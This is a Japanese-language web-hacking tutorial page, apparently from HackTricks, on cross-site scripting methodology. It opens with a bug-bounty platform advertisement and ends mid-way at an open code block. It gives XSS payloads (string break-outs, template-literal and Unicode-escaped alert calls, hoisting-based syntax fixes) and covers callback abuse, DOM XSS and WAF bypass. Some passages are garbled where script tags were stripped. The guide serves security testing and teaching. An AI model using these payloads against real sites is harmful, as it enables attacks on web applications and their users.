# XSS(クロスサイトスクリプティング)
/
**バグバウンティのヒント**:ハッカーによって作成されたプレミアムなバグバウンティプラットフォームである**Intigriti**に**サインアップ**してください!今すぐ[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**の報奨金を獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
## 方法論
1. コントロールできる**任意の値**(_パラメータ_、_パス_、_ヘッダー_?、_クッキー_?)がHTMLに**反映**されているか、**JS**コードで使用されているかを確認します。
2. 反映/使用されている**コンテキスト**を見つけます。
3. 反映されている場合
1. 使用できる**シンボル**を確認し、それに応じてペイロードを準備します:
1. **生のHTML**で:
1. 新しいHTMLタグを作成できますか?
2. `javascript:`プロトコルをサポートするイベントや属性を使用できますか?
3. 保護をバイパスできますか?
4. HTMLコンテンツがクライアントサイドのJSエンジン(_AngularJS_、_VueJS_、_Mavo_など)によって解釈されている場合、[**クライアントサイドテンプレートインジェクション**](../client-side-template-injection-csti.md)を悪用できる場合があります。
5. JSコードを実行するHTMLタグを作成できない場合、[**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/)を悪用できる場合があります。
2. **HTMLタグ**の内部で:
1. 生のHTMLコンテキストに戻ることはできますか?
2. JSコードを実行するために新しいイベント/属性を作成できますか?
3. トラップされている属性はJSの実行をサポートしていますか?
4. 保護をバイパスできますか?
3. **JavaScriptコード**の内部で:
1. ``**タグ、`.js`ファイルの内部、または**`javascript:`**プロトコルを使用した属性の内部に反映されます。
* **``**タグの間に反映されている場合、入力が引用符のいずれかの内部にある場合でも、``を注入してこのコンテキストからエスケープすることができます。これは、**ブラウザがまずHTMLタグを解析**し、その後コンテンツを解析するため、注入された``タグがHTMLコードの内部にあることに気づかないためです。
* JSの文字列の内部に反映されている場合で、前のトリックが機能しない場合は、文字列から**抜け出し**、コードを**実行**し、JSコードを**再構築**する必要があります(エラーがある場合は実行されません):
* `'-alert(1)-'`
* `';-alert(1)//`
* `\';alert(1)//`
* テンプレートリテラルの内部に反映されている場合、`${ ... }`構文を使用してJS式を**埋め込む**ことができます:`` var greetings = `Hello, ${alert(1)}` ``
* **Unicodeエンコード**を使用して**有効なJavaScriptコード**を書くことができます:
```javascript
\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)
```
#### Javascriptのホイスティング
Javascriptのホイスティングは、**使用された後に関数、変数、またはクラスを宣言する**機会を指します。
したがって、**未宣言のオブジェクトの後にJSコードをインジェクト**できるシナリオがある場合、それを宣言することで(エラーをスローする代わりに)構文を**修正**できます。
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '');
// You can define it in your injection to execute JS
//Payload1: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
'-alert(1)-''); function vulnerableFunction(a,b){return 1};
//Payload2: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
test'); function vulnerableFunction(a,b){ return 1 };alert(1)
```
```javascript
// If a variable is not defined, you could define it in the injection
// In the following example var a is not defined
function myFunction(a,b){
return 1
};
myFunction(a, '')
//Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
test'); var a = 1; alert(1);
```
```javascript
// If an undeclared class is used, you cannot declare it AFTER being used
var variable = new unexploitableClass();
// But you can actually declare it as a function, being able to fix the syntax with something like:
function unexploitableClass() {
return 1;
}
alert(1);
```
```javascript
// Properties are not hoisted
// So the following examples where the 'cookie' attribute doesn´t exist
// cannot be fixed if you can only inject after that code:
test.cookie('leo','INJECTION')
test['cookie','injection']
```
詳細については、Javascriptのホイスティングについては次を参照してください:[https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios](https://jlajara.gitlab.io/Javascript\_Hoisting\_in\_XSS\_Scenarios)
### Javascript関数
いくつかのウェブページは、**実行する関数の名前をパラメータとして受け入れる**エンドポイントを持っています。一般的な例として、`?callback=callbackFunc`のようなものがあります。
ユーザーから直接与えられたものが実行されようとしているかどうかを確認する良い方法は、パラメータの値を変更して(例えば 'Vulnerable'に変更して)、コンソールで次のようなエラーを探すことです:
![](<../../.gitbook/assets/image (651) (2).png>)
脆弱な場合、値を送信するだけで**アラートをトリガー**することができる可能性があります:**`?callback=alert(1)`**。ただし、これらのエンドポイントでは、文字、数字、ドット、アンダースコアのみを許可するようにコンテンツを**検証する**ことが非常に一般的です(**`[\w\._]`**)。
ただし、その制限があっても、いくつかのアクションを実行することは可能です。これは、有効な文字を使用してDOM内の任意の要素に**アクセス**できるためです:
![](<../../.gitbook/assets/image (662).png>)
これに役立ついくつかの関数:
```
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
```
あなたは直接**Javascriptの関数をトリガー**することも試すことができます:`obj.sales.delOrders`。
ただし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。**同じオリジンの他のページ**には、より興味深いDOMがあり、より多くのアクションを実行できます。
したがって、異なるDOMでこの脆弱性を悪用するために、**Same Origin Method Execution (SOME)** の攻撃手法が開発されました:
{% content-ref url="some-same-origin-method-execution.md" %}
[some-same-origin-method-execution.md](some-same-origin-method-execution.md)
{% endcontent-ref %}
### DOM
**JSコード**が、`location.href`のような**攻撃者によって制御されるデータ**を**安全ではない方法で**使用しています。攻撃者はこれを悪用して任意のJSコードを実行することができます。
{% content-ref url="dom-xss.md" %}
[dom-xss.md](dom-xss.md)
{% endcontent-ref %}
### **Universal XSS**
この種のXSSは**どこにでも**見つけることができます。これらは単にWebアプリケーションのクライアントの攻撃に依存するのではなく、**任意の****コンテキスト**に依存します。この種の**任意のJavaScriptの実行**は、RCEを取得したり、クライアントやサーバーで**任意のファイル**を**読み取る**ことさえ悪用することができます。\
いくつかの**例**:
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
{% endcontent-ref %}
{% content-ref url="../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/" %}
[xss-to-rce-electron-desktop-apps](../../network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps/)
{% endcontent-ref %}
## WAFバイパスエンコーディング画像
![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)
## 生のHTML内に注入する
入力がHTMLページ内に**反映**される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、**最初に** `<` を悪用して新しいタグを作成できるかどうかを確認する必要があります。単にその**文字**を**反映**させ、それが**HTMLエンコード**されるか、**削除**されるか、または**変更なしで反映**されるかを確認してください。**最後の場合にのみ、このケースを悪用することができます**。\
この場合、およびブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:
```javascript